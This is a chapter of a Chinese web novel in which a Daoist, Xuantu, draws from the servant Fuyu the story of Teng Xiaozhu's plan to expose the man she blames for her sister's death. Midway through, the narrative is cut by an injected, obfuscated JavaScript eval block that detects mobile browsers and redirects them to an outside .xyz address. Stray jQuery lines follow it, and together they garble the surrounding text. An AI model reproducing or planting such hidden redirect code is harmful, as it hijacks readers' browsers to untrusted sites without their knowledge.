“你果然知道隐情。”
“道,道长。”福羽心下一惊,慌忙转身面向玄兔,真是好生奇怪,这道长不知从哪儿来,也没有脚步声,许是神通广大让人发现不了。
“你们到底有何计划?”玄兔敛去了平时的笑意,直直怒视对面的人,雪亮的眼睛此时也锐利起来。
“我,我……”
“你再不说,滕筱竹怕是会出事!你听不出来她言语中已饱含诀别吗?你们不肯告诉我实情,我就算是想帮也有心无力了。”玄兔转身就要离开。
“道长!我说,我说。求道长救救我们家小姐!”福羽扑通一声跪下磕了好几个响头。
原来一年前,滕蝉衣随着滕老爷谈生意之际,在那江满茶楼突发哮疾,当晚没喘上气就去了。这本该是个意外,可滕筱竹死活不信,这么多年病情一直可控,一下就突然撑不过去,要说与那茶楼没有关系,怎么可能,于是大闹了一场。
可实际上,事情发生后滕宁就和掌柜的里里外外查了一遍,没有发现任何导致病犯的物品,这件事只能不了了之。要说那掌柜的也是个心善之人,滕府的二小姐闹了几次,都是好言相劝,毕竟在自家茶楼出了事儿,心里也不是滋味。
滕筱竹闹够了,就坐在茶楼里看人来人往,她自然有分寸,除了最开始几次,后面也不会影响人家的生意,只是在到处查找线索。那个出事的那间房已经被买了下来,自己可以随意进出。她看着楼下的人们喜气洋洋,高谈阔论,自己身边却再也没有那个爱叮嘱,会护着她的姐姐了。
她抱着头痛哭,难道红颜薄命就是姐姐的归宿吗?房门吱呀被打开,她也没抬头,以为是被自己赶去其他地方查线索的福羽,“福羽哥哥,我没事。”
“这是哪家的小姐,如此伤心流泪惹人心疼?在下有一盏薄酒,小姐喝了可解心头之苦。”
滕筱竹这才抬起头,只见面前人锦衣鲜华,张扬肆意,像是哪家公子哥,整张脸挤着笑眼睛弯弯,活像只狐狸。“你是何人?不知道这里不可以随便进来吗?”
“我只是在外面听见有啜泣声,还以为遇了鬼,便想进来看看。你有什么委屈,不如和我说说。”说着拿起茶杯倒满。
“我不喝酒。”
“哈哈哈,还真是小姑娘。茶和酒分不清吗?上好的茶,你闻闻。别担心,在下项回舟,掌柜的远方表侄,近日才来此地。”
“坏人!和掌柜的都是坏人。”
“哦,这么说,我晓得你是哪个了,从表叔那边听说过,他也很是抱歉,一旦有点蛛丝马迹我们一定会告诉你。你现在呢,主要是好好照顾自己,万一真的找到了罪魁祸首,你到时才有力气打他。就像这样,啪!”项回舟对着空气拳打脚踢了一番差点摔倒。
“噗。”
“哎呀,终于笑了。”
“才没有!”
“好好好,那是在下手脚笨拙引得小姐发笑了。”项回舟伸手作揖,脸上依然带着笑。
“没有,没有嘲笑。”滕筱竹小声解释。
“小姐不如这样,我每日都来告诉你是否有进展,你可安心回府,先养好身子,不要每日焦急难过。”
“那你可保证?”
“我以性命担保,小姐可安心了?”
“那,便信你。”若是他们真的能找到那她也不是不讲理的人。
时间久了,她开始怀疑当初真的只是一个意外。可偏偏有一天她回来之后非常气愤,大喊着项回舟是凶手。
“你可有什么证据?”
“我亲耳听到的!爹,我们不能让姐姐死不瞑目!”
“你既没有人证物证,就算他真的是凶手,那要如何让他认罪。爹知道你与他走的近,不能一时冲动,凡事都要从长计议。”
“你这是不信我吗?我没有无理取闹!他就是凶手!”
“爹没有不信你,那你口说无凭,他要咬死了是你诬陷于他那又该如何?此事你先放下心,我会请县太爷调查的。”不是他不爱女儿,时间过去的太久了,就算真的有杀人凶手那已经没有办法去找到所谓的物证了。
这几个月来,他断断续续的听筱竹的怀疑,也好几次请县太爷查案,均没有结果。每一次彻查,都是竹篮打水一场空,将他的心一次又一次撕裂。
“要是真有用,怎么能拖到现在。你若是不肯,那我自己找到他的证据,一定要让他血债血偿。”滕筱竹狠狠地跺脚,脸上还挂着泪珠,冲出了房门。
“小姐,老爷说会去查的。你又何必与他置气?”
“福羽哥哥,你信我吗?”滕筱竹倔强地看向追过来的人。
“我,自然是信的。”这话说的并不自信,他是知道小姐不会空口无凭,也愿意跟她追查到底,只不过失望太多了,他痛苦一次就多麻木一分。
“爹爹曾被诬陷过,所以他不会塞钱给那些当官的,他不愿意威逼利诱他人,可并不是人人都像他那样。有些人把作奸犯科当做家常便饭,伤了人没有丝毫的悔恨之心,这种人又怎么期望他能主动认罪。
过几天就是姐姐的忌日,福羽哥哥,你那么在乎姐姐,你不肯和我一起替姐姐报仇吗?这件事情已经成了压在我们心里的一座大山,我们一起将他推开,好吗?”
最后一次,他告诉自己,这是最后一次,不管这一次成功与否,此事就翻篇罢了,他答应过她的,不能让二小姐陷于危险之地,做危险之事。
“所以,她装作撞邪是为了让项回舟害怕?可这没有道理,他以驱鬼的身份来,光天化日之下,你们又没有和别人串通,怎么让他相信冤魂索命?”
“不,小姐设计将他引来,假意被他救起,在他得意之际,用迷药迷晕。彼时老爷定会办感谢宴,在众目睽睽之下,小姐扮成大小姐的样子,逼他说出实情,再签字画押送入官府。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323330|183192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
只可惜,滕筱竹是真的长睡不醒,她未告诉福羽具体缘由,便没有人能代替她完成计划。所以当项回舟卖弄完所有的本事在府里享受了几天后,滕宁便说着好话将他请了出去。
这计划……还真是不考虑变化啊,无准备无配合,就算没有这一遭,也未必成功,只能打草惊蛇。不过小姑娘没有当场与他争论,而是有计划的报仇,也算是沉得住气。
只怕这次筱竹也想到了那人会有所防备,她要的不是真相,极大可能是直接让他下地狱。也许滕宁会为了女儿昧着良心瞒下此事,也许父女俩以后只能牢里牢外相见。
“那你这次怎么不愿了,你们私下谋划,我知道你难作为,但总该给滕老爷知会一声吧,你们的破绽可不是一般的大。你怎知滕老爷和你不是同一想法呢?”
“我答应了二小姐,那便陪她到底,一切都是我的过错,到时老爷问起来我一人担责。但我确实没想到小姐出事,原来我早已毁了约,我没有护好她,我对不起大小姐。”福羽抱头痛哭,他也想找出真相,只是借着陪二小姐的理由才让自己的奢求冒出。
“好了,好了,你们都被自己困住了。你劝滕筱竹时说的那句话,自己可曾想过?已经不在的人呐,要劝的从来不止一个。不被理解的滕老爷,一意孤行的筱竹,和不敢面对的你,你说你的大小姐犟,你们又何尝不是如此。”
不是一家人,不进一家门啊!终于知道前因后果了,就说小姑娘不像是会耽于情爱之人嘛。
“可是,我真的不知道怎么办了。我不知道要不要查下去,若二小姐真出了什么事,我又如何去见大小姐?我恨夺取她性命之人,恨不得将他千刀万剐。”
“那便查。”
“可是,时间过去太久了,人证物证早已不见,二小姐也未对我多言语,不知道到底是不是那人。”
“那便不查。”
“我……”
“你看,你自己都无法确定,我怎能帮你,从何帮你?”玄兔坐在池边一直等,他是这父女俩的中间人,是滕蝉衣所爱之人,要是连他都无法坚定,那他们各存心事不会有好结果的。
“查!我想查,但我不会让小姐有危险,她要做什么,我替她做,就算那人不是凶手,可也不是什么好人。”
“错,你们现在主要是坐下来好好谈一谈,都有什么埋在心里的全都说出来。筱竹害怕不被滕老爷理解选择隐瞒,你半信半疑左瞒右瞒,滕老爷爱而含蓄。
且不说滕老爷,你们俩都不完全信任对方。将所有事情讲清楚才能对症下药,都是想为对方好,怎么就不肯多说一句,多听一会呢。”
“我知道了,道长。我明天会去找二小姐问个明白,不过恐怕只有大小姐在她才肯说吧。”
“我好像没有说过,我可以和滕蝉衣对话。”玄兔抬眼看向他身后,嘴角弯弯,像是再说着,呀,你也睡不着啊。